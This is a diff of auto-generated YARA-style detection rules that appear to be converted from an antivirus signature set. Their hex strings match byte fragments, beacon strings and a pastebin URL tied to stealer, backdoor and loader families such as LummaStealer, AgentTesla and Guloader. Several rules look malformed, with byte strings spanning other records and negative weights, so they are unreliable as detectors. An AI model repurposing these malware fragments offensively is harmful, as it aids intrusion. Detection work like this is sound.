00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 5a 41 21 4d 54 42 00 01 00 1d 02 31 c9 85 c0 0f 95 c1 8b 04 8d 90 01 04 b9 90 01 04 33 0d 90 01 04 01 c8 40 ff e0 90 00 01 00 20 } //21539 - $a_81_1 = {90 01 04 81 f1 90 01 04 21 d1 8d 34 09 f7 d6 01 ce 21 d6 01 f0 40 31 db ff e0 90 00 01 00 19 02 0f b6 c0 8b 04 85 90 01 04 b9 90 01 04 33 0d 90 01 04 01 c8 40 ff e0 90 00 01 00 05 00 01 c8 40 ff e0 00 00 78 9a 00 00 02 00 02 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 4b 77 61 6d 70 69 72 73 2e 41 30 00 01 00 14 03 32 1c 0a 8b d1 83 e2 0f 88 18 0f b6 92 90 02 0a 32 91 90 00 01 00 16 03 83 c6 05 88 50 03 8d 57 04 83 e2 0f 0f b6 92 90 02 0a 32 97 90 00 01 00 0d 01 83 c7 05 88 50 04 83 c0 05 83 f9 15 72 01 00 11 01 66 c7 00 00 00 33 c9 b8 0b 00 00 00 ba 02 00 00 00 02 00 1f 03 74 16 8b d0 83 e2 0f 8a 92 } //-30462 - $a_00_2 = {32 14 38 } //400 - $a_41_3 = {c3 72 ea 66 c7 01 00 00 90 00 00 00 78 9a 00 00 03 } //-30656 - condition: - ((#a_4c_0 & 1)*21539+(#a_81_1 & 1)*-30462+(#a_00_2 & 1)*400+(#a_41_3 & 1)*-30656) >=2 - -} -rule _InfrastructureShared_10587{ +rule _InfrastructureShared_11271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_46_0 = {48 53 54 52 3a 4b 77 61 6d 70 69 72 73 2e 41 30 00 01 00 14 03 32 1c 0a 8b d1 83 e2 0f 88 18 0f b6 92 90 02 0a 32 91 90 00 01 00 16 03 83 c6 05 88 50 03 8d 57 04 83 e2 0f 0f b6 92 90 02 0a 32 97 90 00 01 00 0d 01 83 c7 05 88 50 } //16675 - $a_05_1 = {83 f9 15 72 01 00 11 01 66 c7 00 00 00 33 c9 b8 0b 00 00 00 ba 02 00 00 00 02 00 1f 03 74 16 8b d0 83 e2 0f 8a 92 90 01 03 00 32 14 38 40 88 11 41 3b c3 72 ea 66 c7 01 00 00 90 00 00 00 78 9a 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 7a 74 61 6b 75 6e 2e 41 58 43 21 4d 54 42 00 02 00 57 01 06 72 11 00 00 70 6f 18 00 00 0a 00 06 28 19 00 00 0a 26 7e 1a 00 00 0a 72 80 01 00 70 6f 1b 00 00 0a 0b 07 72 f4 01 00 70 17 8c 22 00 00 01 17 6f 1c 00 00 0a 00 7e 1d 00 00 0a 72 12 02 00 70 6f 1b 00 00 0a 0c 08 72 7e 02 00 70 72 8a 02 00 70 } //-31996 - $a_00_2 = {00 0a 01 00 10 00 50 72 6f 63 65 73 73 53 74 61 72 74 49 6e 66 6f 00 00 78 9a 00 00 } //28439 - $a_00_3 = {03 00 21 } //3 - $a_46_4 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 42 5a 53 00 01 00 29 03 83 c0 01 33 85 90 01 04 d1 e0 89 85 90 01 04 db 85 90 01 04 dd 9d 90 01 04 8b 8d 90 01 04 8a 14 8d 00 a8 42 00 88 95 90 00 01 00 } //16675 + $a_05_1 = {83 f9 15 72 01 00 11 01 66 c7 00 00 00 33 c9 b8 0b 00 00 00 ba 02 00 00 00 02 00 1f 03 74 16 8b d0 83 e2 0f 8a 92 90 01 03 00 32 14 38 40 88 11 41 3b c3 72 ea 66 c7 01 00 00 90 00 00 00 78 9a 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 42 5a 53 00 01 00 29 03 83 c0 01 33 85 90 01 04 d1 e0 89 85 90 01 04 db 85 90 01 04 dd 9d 90 01 04 8b 8d 90 01 04 8a 14 8d 00 a8 42 00 88 95 90 00 01 00 27 03 83 ec 08 dd 1c 24 e8 90 01 04 83 c4 08 dd 9d 20 e1 ff ff 8b 0d 90 01 04 03 8d 90 01 04 8a 95 90 01 04 88 11 } //-31996 + $a_8d_3 = {8d } //4864 + $a_ff_4 = {85 da 74 03 c1 e6 39 33 c0 5e 5b 00 00 78 9a 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4e 69 67 68 74 73 63 6f 75 74 2e 43 21 64 68 61 00 01 00 18 03 8b 5d fc 03 da 0f b6 03 34 90 01 01 04 90 01 01 88 03 42 49 75 ee 90 00 01 00 2e 01 63 00 6f 00 6d 00 2e 00 65 00 6d 00 62 00 61 00 72 00 63 00 61 00 64 00 65 00 72 00 6f 00 2e 00 4c 00 42 00 54 00 53 00 65 00 72 00 76 00 01 00 17 01 4c 42 54 53 } //-1206 condition: - ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*-31996+(#a_00_2 & 1)*28439+(#a_00_3 & 1)*3+(#a_46_4 & 1)*16675) >=2 + ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*-31996+(#a_8d_3 & 1)*4864+(#a_ff_4 & 1)*-1206) >=2 } -rule _InfrastructureShared_10588{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 7a 74 61 6b 75 6e 2e 41 58 43 21 4d 54 42 00 02 00 57 01 06 72 11 00 00 70 6f 18 00 00 0a 00 06 28 19 00 00 0a 26 7e 1a 00 00 0a 72 80 01 00 70 6f 1b 00 00 0a 0b 07 72 f4 01 00 70 17 8c } //16675 - condition: - ((#a_46_0 & 1)*16675) >=3 - -} -rule _InfrastructureShared_10589{ +rule _InfrastructureShared_11272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -115376,7 +122961,7 @@ rule _InfrastructureShared_10589{ ((#a_46_0 & 1)*16675+(#a_ec_1 & 1)*807+(#a_42_2 & 1)*-30719) >=3 } -rule _InfrastructureShared_10590{ +rule _InfrastructureShared_11273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -115387,7 +122972,7 @@ rule _InfrastructureShared_10590{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97) >=3 } -rule _InfrastructureShared_10591{ +rule _InfrastructureShared_11274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -115399,7 +122984,7 @@ rule _InfrastructureShared_10591{ ((#a_54_0 & 1)*18467+(#a_2a_1 & 1)*43+(#a_46_2 & 1)*28265) >=3 } -rule _InfrastructureShared_10592{ +rule _InfrastructureShared_11275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -115411,7 +122996,7 @@ rule _InfrastructureShared_10592{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*384+(#a_00_2 & 1)*-8149) >=3 } -rule _InfrastructureShared_10593{ +rule _InfrastructureShared_11276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -115423,7 +123008,7 @@ rule _InfrastructureShared_10593{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28651+(#a_90_2 & 1)*-2) >=3 } -rule _InfrastructureShared_10594{ +rule _InfrastructureShared_11277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -115435,7 +123020,7 @@ rule _InfrastructureShared_10594{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*8306+(#a_88_2 & 1)*18036) >=3 } -rule _InfrastructureShared_10595{ +rule _InfrastructureShared_11278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -115446,7 +123031,7 @@ rule _InfrastructureShared_10595{ ((#a_77_0 & 1)*19491+(#a_c2_1 & 1)*3721) >=3 } -rule _InfrastructureShared_10596{ +rule _InfrastructureShared_11279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -115458,7 +123043,7 @@ rule _InfrastructureShared_10596{ ((#a_46_0 & 1)*21283+(#a_6a_1 & 1)*-14333+(#a_53_2 & 1)*28015) >=3 } -rule _InfrastructureShared_10597{ +rule _InfrastructureShared_11280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -115469,7 +123054,7 @@ rule _InfrastructureShared_10597{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_10598{ +rule _InfrastructureShared_11281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -115482,7 +123067,7 @@ rule _InfrastructureShared_10598{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*19770+(#a_72_2 & 1)*8275+(#a_01_3 & 1)*26988) >=3 } -rule _InfrastructureShared_10599{ +rule _InfrastructureShared_11282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -115494,7 +123079,7 @@ rule _InfrastructureShared_10599{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27759+(#a_61_2 & 1)*23667) >=3 } -rule _InfrastructureShared_10600{ +rule _InfrastructureShared_11283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -115507,7 +123092,7 @@ rule _InfrastructureShared_10600{ ((#a_6f_0 & 1)*21539+(#a_6b_1 & 1)*30057+(#a_01_2 & 1)*21899+(#a_6c_3 & 1)*30789) >=3 } -rule _InfrastructureShared_10601{ +rule _InfrastructureShared_11284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -115520,7 +123105,7 @@ rule _InfrastructureShared_10601{ ((#a_5f_0 & 1)*25635+(#a_66_1 & 1)*25936+(#a_6d_2 & 1)*25376+(#a_00_3 & 1)*101) >=3 } -rule _InfrastructureShared_10602{ +rule _InfrastructureShared_11285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -115533,7 +123118,7 @@ rule _InfrastructureShared_10602{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*27760+(#a_00_2 & 1)*51+(#a_41_4 & 1)*8448) >=3 } -rule _InfrastructureShared_10603{ +rule _InfrastructureShared_11286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -115546,31 +123131,19 @@ rule _InfrastructureShared_10603{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*5632+(#a_00_3 & 1)*110+(#a_41_4 & 1)*8448) >=3 } -rule _InfrastructureShared_10604{ +rule _InfrastructureShared_11287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " strings : $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 53 6f 64 6f 6d 6c 79 2e 42 21 64 68 61 00 02 00 27 01 50 4f 53 54 20 68 74 74 70 3a 2f 2f 25 73 2f 73 74 61 74 75 73 2e 67 69 66 3f 72 3d 25 64 20 48 54 54 50 2f 31 2e 31 02 00 0d 01 } //16675 $a_2e_1 = {35 33 2e 34 31 2e 34 35 02 00 2f 03 03 f1 8a 1e 8a cb 02 cf fe c7 02 d1 0f b6 ca 88 95 90 02 03 ff 8a 94 0d 90 02 03 ff 88 9c 0d 90 02 03 ff 88 16 0f b6 } //12337 - $a_cb_2 = {d1 90 00 00 00 78 9a 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 72 6d 4c 6f 61 64 2e 41 21 64 68 61 00 03 00 0f 01 45 33 c9 45 33 c0 33 d2 b9 42 4d 53 52 ff 15 01 00 33 03 ba 02 00 00 00 41 b8 00 00 00 10 90 01 03 90 02 03 ff 15 90 01 04 85 c0 90 01 08 90 02 06 ba 02 00 00 00 41 b8 00 00 00 10 90 01 03 90 02 03 ff 15 90 00 01 00 22 01 8b 0e 8b d1 8b c1 c1 e9 08 c1 e2 10 25 00 ff 00 00 81 e1 00 ff 00 00 0b d0 0f b6 46 03 c1 e2 08 0b d1 00 00 78 9a 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f } //4050 + $a_cb_2 = {d1 90 00 00 00 78 9a 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 72 63 75 73 72 61 74 2e 53 4b 21 4d 54 42 00 01 00 10 81 01 70 63 5f 62 6c 61 63 6b 6c 69 73 74 2e 74 78 74 01 00 19 81 01 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 64 59 51 7a 70 32 34 6d 01 00 0b 81 01 5c 73 64 61 77 65 64 2e 65 78 65 01 00 27 81 01 72 65 70 6f 73 5c 50 72 6f 6a 65 63 74 31 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 50 72 6f 6a 65 63 74 31 2e 70 64 62 00 00 78 9a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 } //4050 condition: ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*12337+(#a_cb_2 & 1)*4050) >=4 } -rule _InfrastructureShared_10605{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 72 6d 4c 6f 61 64 2e 41 21 64 68 61 00 03 00 0f 01 45 33 c9 45 33 c0 33 d2 b9 42 4d 53 52 ff 15 01 00 33 03 ba 02 00 00 00 41 b8 00 00 00 10 90 01 03 90 02 03 ff 15 90 01 04 85 c0 90 } //16675 - $a_02_1 = {06 ba 02 00 00 00 41 b8 00 00 00 10 90 01 03 90 02 03 ff 15 90 00 01 00 22 01 8b 0e 8b d1 8b c1 c1 e9 08 c1 e2 10 25 00 ff 00 00 81 e1 00 ff 00 00 0b d0 0f b6 46 03 c1 e2 08 0b d1 00 00 78 9a 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 72 63 75 73 72 61 74 2e 53 4b 21 4d 54 42 00 01 00 10 81 01 70 63 5f 62 6c 61 63 6b 6c 69 73 74 2e 74 78 74 01 00 19 81 01 70 61 73 74 65 62 69 6e 2e 63 6f } //2049 - $a_61_2 = {2f 64 59 51 7a 70 32 34 6d 01 00 0b 81 01 5c 73 64 61 77 65 64 2e 65 78 65 01 00 27 81 01 72 65 70 6f 73 5c 50 72 6f 6a 65 63 74 31 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 50 72 6f 6a 65 63 74 31 2e 70 64 62 00 00 78 9a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 42 } //12141 - condition: - ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*2049+(#a_61_2 & 1)*12141) >=4 - -} -rule _InfrastructureShared_10606{ +rule _InfrastructureShared_11288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -115583,7 +123156,7 @@ rule _InfrastructureShared_10606{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*12912+(#a_2e_2 & 1)*29795+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_10607{ +rule _InfrastructureShared_11289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -115596,7 +123169,7 @@ rule _InfrastructureShared_10607{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*20481+(#a_65_2 & 1)*8307+(#a_2f_3 & 1)*13166) >=4 } -rule _InfrastructureShared_10608{ +rule _InfrastructureShared_11290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -115608,7 +123181,7 @@ rule _InfrastructureShared_10608{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*25961+(#a_6c_3 & 1)*385) >=4 } -rule _InfrastructureShared_10609{ +rule _InfrastructureShared_11291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -115621,7 +123194,7 @@ rule _InfrastructureShared_10609{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28265+(#a_69_2 & 1)*26990+(#a_23_3 & 1)*4) >=4 } -rule _InfrastructureShared_10610{ +rule _InfrastructureShared_11292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -115634,7 +123207,7 @@ rule _InfrastructureShared_10610{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_9a_3 & 1)*0) >=4 } -rule _InfrastructureShared_10611{ +rule _InfrastructureShared_11293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -115647,7 +123220,7 @@ rule _InfrastructureShared_10611{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30313+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_10612{ +rule _InfrastructureShared_11294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -115660,7 +123233,7 @@ rule _InfrastructureShared_10612{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*8295+(#a_3b_2 & 1)*2076+(#a_5c_3 & 1)*29793) >=4 } -rule _InfrastructureShared_10613{ +rule _InfrastructureShared_11295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -115669,12 +123242,12 @@ rule _InfrastructureShared_10613{ $a_69_1 = {4c 6f 67 01 00 0c 01 53 62 69 65 44 6c 6c 5f 48 6f 6f 6b 01 00 24 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 53 61 6e 64 62 6f 78 69 65 5c 53 62 69 65 49 6e 69 2e 64 61 74 00 00 78 9a 00 00 04 00 04 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 72 63 61 64 65 57 65 62 00 01 00 08 01 61 77 75 6e 2e 65 78 65 01 00 22 01 } //16741 $a_61_2 = {65 20 72 65 62 6f 6f 74 20 79 6f 75 72 20 73 79 73 74 65 6d 20 6d 61 6e 75 61 6c 79 21 01 00 1c 01 41 72 63 61 64 65 57 65 62 20 55 6e 69 6e 73 74 61 6c 6c 65 72 20 46 69 6e 69 73 68 01 00 0f 01 61 72 63 61 64 65 77 65 62 33 32 2e 64 6c 6c 01 00 10 01 61 6a 2f 64 65 61 63 74 69 76 61 74 65 2e 70 68 00 } //27728 $a_00_3 = {00 05 00 05 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 4a 44 21 4d 54 42 00 02 00 3a 02 20 dc 27 00 00 8d 90 02 04 00 00 01 13 04 16 13 05 90 02 03 11 04 16 11 04 8e 69 6f 90 02 04 00 0a 13 05 07 11 04 16 11 05 6f 90 02 04 00 00 0a 90 02 04 11 05 16 fe 02 90 00 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 06 81 01 42 69 6e 64 65 72 01 00 0c 81 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 00 } //30720 - $a_00_4 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 53 31 32 33 21 4d 54 42 00 01 00 17 81 01 71 75 61 68 6f 67 20 63 6f 61 74 65 65 73 20 70 6c 61 6e 74 64 6f 6d 01 00 09 81 01 65 72 65 6d 69 74 61 67 65 01 00 18 81 01 67 61 75 73 73 66 69 6c 74 72 65 73 20 74 75 72 6e 6b 73 65 72 6e 65 73 01 00 15 81 01 6f 76 65 72 63 6f 70 69 6f 75 73 20 6a 61 67 65 72 69 65 72 73 01 00 0a 81 01 74 69 6c 72 65 67 6e 65 64 65 00 } //30720 + $a_00_4 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 44 30 31 21 4d 54 42 00 01 00 0e 81 01 70 72 6f 67 72 65 73 73 69 6f 6e 69 73 74 01 00 28 81 01 62 6a 6c 6b 65 6c 6f 66 74 65 72 73 20 73 74 61 64 74 68 6f 6c 64 65 72 73 68 69 70 20 62 72 75 6e 65 69 65 72 65 6e 73 01 00 0a 81 01 70 72 65 63 6c 75 73 69 76 65 01 00 0a 81 01 75 6e 69 6f 6c 61 2e 65 78 65 01 00 0f 81 01 70 68 6f 74 6f 70 65 72 63 65 70 74 69 76 65 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*16741+(#a_61_2 & 1)*27728+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=4 } -rule _InfrastructureShared_10614{ +rule _InfrastructureShared_11296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -115687,20 +123260,33 @@ rule _InfrastructureShared_10614{ ((#a_77_0 & 1)*16675+(#a_63_2 & 1)*24833+(#a_00_3 & 1)*656+(#a_11_4 & 1)*1041) >=4 } -rule _InfrastructureShared_10615{ +rule _InfrastructureShared_11297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 4a 44 21 4d 54 42 00 02 00 3a 02 20 dc 27 00 00 8d 90 02 04 00 00 01 13 04 16 13 05 90 02 03 11 04 16 11 04 8e 69 6f 90 02 04 00 0a 13 05 07 11 04 16 11 05 6f 90 02 04 00 } //18467 - $a_02_1 = {04 11 05 16 fe 02 90 00 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 06 81 01 42 69 6e 64 65 72 01 00 0c 81 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 00 00 78 9a 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 53 31 32 33 21 4d 54 42 00 01 00 17 81 01 71 75 61 68 6f 67 20 63 6f 61 74 65 65 73 20 70 6c 61 6e 74 64 6f 6d 01 00 09 81 01 65 72 65 6d 69 74 61 67 65 01 00 18 } //2560 - $a_61_2 = {73 73 66 69 6c 74 72 65 73 20 74 75 72 6e 6b 73 65 72 6e 65 73 01 00 15 81 01 6f 76 65 72 63 6f 70 69 6f 75 73 20 6a 61 67 65 72 69 65 72 73 01 00 0a 81 01 74 69 6c 72 65 67 6e 65 64 65 00 00 78 9a 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 46 75 73 69 6f 6e } //385 - $a_65_3 = {50 50 30 37 00 01 00 0a 80 01 46 75 73 69 6f 6e 2e 64 6c 6c 01 00 09 80 01 46 55 53 49 4f 4e 44 4c 4c 01 00 11 80 01 43 72 65 61 74 65 46 75 73 69 6f 6e 46 69 6c 65 73 01 00 0a 80 01 46 75 73 69 6f 6e 5f 6e 6f 78 01 00 0e 80 01 4e 6f 78 5f 75 6e 6c 6f 61 64 2e 65 78 65 01 00 11 80 01 42 69 67 4e 6f 78 49 6e 73 74 61 6c 6c 50 61 63 6b 00 00 } //28483 + $a_02_1 = {04 11 05 16 fe 02 90 00 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 06 81 01 42 69 6e 64 65 72 01 00 0c 81 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 00 00 78 9a 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 44 30 31 21 4d 54 42 00 01 00 0e 81 01 70 72 6f 67 72 65 73 73 69 6f 6e 69 73 74 01 00 28 81 01 62 6a 6c 6b 65 6c 6f 66 74 65 72 73 20 73 74 61 64 74 68 6f 6c 64 65 } //2560 + $a_69_2 = {20 62 72 75 6e 65 69 65 72 65 6e 73 01 00 0a 81 01 70 72 65 63 6c 75 73 69 76 65 01 00 0a 81 01 75 6e 69 6f 6c 61 2e 65 78 65 01 00 0f 81 01 70 68 6f 74 6f 70 65 72 63 65 70 74 69 76 65 00 00 78 9a 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 53 31 32 33 21 } //29554 + $a_00_3 = {01 00 17 81 01 71 75 61 68 6f 67 20 63 6f 61 74 65 65 73 20 70 6c 61 6e 74 64 6f 6d 01 00 09 81 01 65 72 65 6d 69 74 61 67 65 01 00 18 81 01 67 61 75 73 73 66 69 6c 74 72 65 73 20 74 75 72 6e 6b 73 } //21581 condition: - ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*2560+(#a_61_2 & 1)*385+(#a_65_3 & 1)*28483) >=5 + ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*2560+(#a_69_2 & 1)*29554+(#a_00_3 & 1)*21581) >=5 } -rule _InfrastructureShared_10616{ +rule _InfrastructureShared_11298{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 44 30 31 21 4d 54 42 00 01 00 0e 81 01 70 72 6f 67 72 65 73 73 69 6f 6e 69 73 74 01 00 28 81 01 62 6a 6c 6b 65 6c 6f 66 74 65 72 73 20 73 74 61 64 74 68 6f 6c 64 65 72 73 68 69 70 20 62 72 75 6e } //18467 + $a_72_1 = {6e 73 01 00 0a 81 01 70 72 65 63 6c 75 73 69 76 65 01 00 0a 81 01 75 6e 69 6f 6c 61 2e 65 78 65 01 00 0f 81 01 70 68 6f 74 6f 70 65 72 63 65 70 74 69 76 65 00 00 78 9a 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 53 31 32 33 21 4d 54 42 00 01 00 17 } //26981 + $a_75_2 = {68 6f 67 20 63 6f 61 74 65 65 73 20 70 6c 61 6e 74 64 6f 6d 01 00 09 81 01 65 72 65 6d 69 74 61 67 65 01 00 18 81 01 67 61 75 73 73 66 69 6c 74 72 65 73 20 74 75 72 6e 6b 73 65 72 6e 65 73 01 00 15 81 01 6f 76 65 72 63 6f 70 69 6f 75 73 20 6a 61 67 65 72 69 65 72 73 01 00 0a 81 01 74 69 6c 72 65 67 6e 65 64 65 00 00 78 9a 00 00 06 00 06 } //385 + $a_3a_4 = {55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 46 75 73 69 6f 6e 43 6f 72 65 2e 50 50 30 37 00 01 00 0a 80 01 46 75 73 69 6f 6e 2e 64 6c 6c 01 00 09 80 01 46 55 53 49 4f 4e 44 4c 4c 01 00 11 80 01 43 72 65 61 } //19521 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26981+(#a_75_2 & 1)*385+(#a_3a_4 & 1)*19521) >=5 + +} +rule _InfrastructureShared_11299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -115714,7 +123300,7 @@ rule _InfrastructureShared_10616{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29300+(#a_00_2 & 1)*55+(#a_75_3 & 1)*384+(#a_2e_4 & 1)*24943) >=5 } -rule _InfrastructureShared_10617{ +rule _InfrastructureShared_11300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -115729,7 +123315,7 @@ rule _InfrastructureShared_10617{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*28521+(#a_61_2 & 1)*26209+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_10618{ +rule _InfrastructureShared_11301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -115744,7 +123330,7 @@ rule _InfrastructureShared_10618{ ((#a_54_0 & 1)*18467+(#a_81_1 & 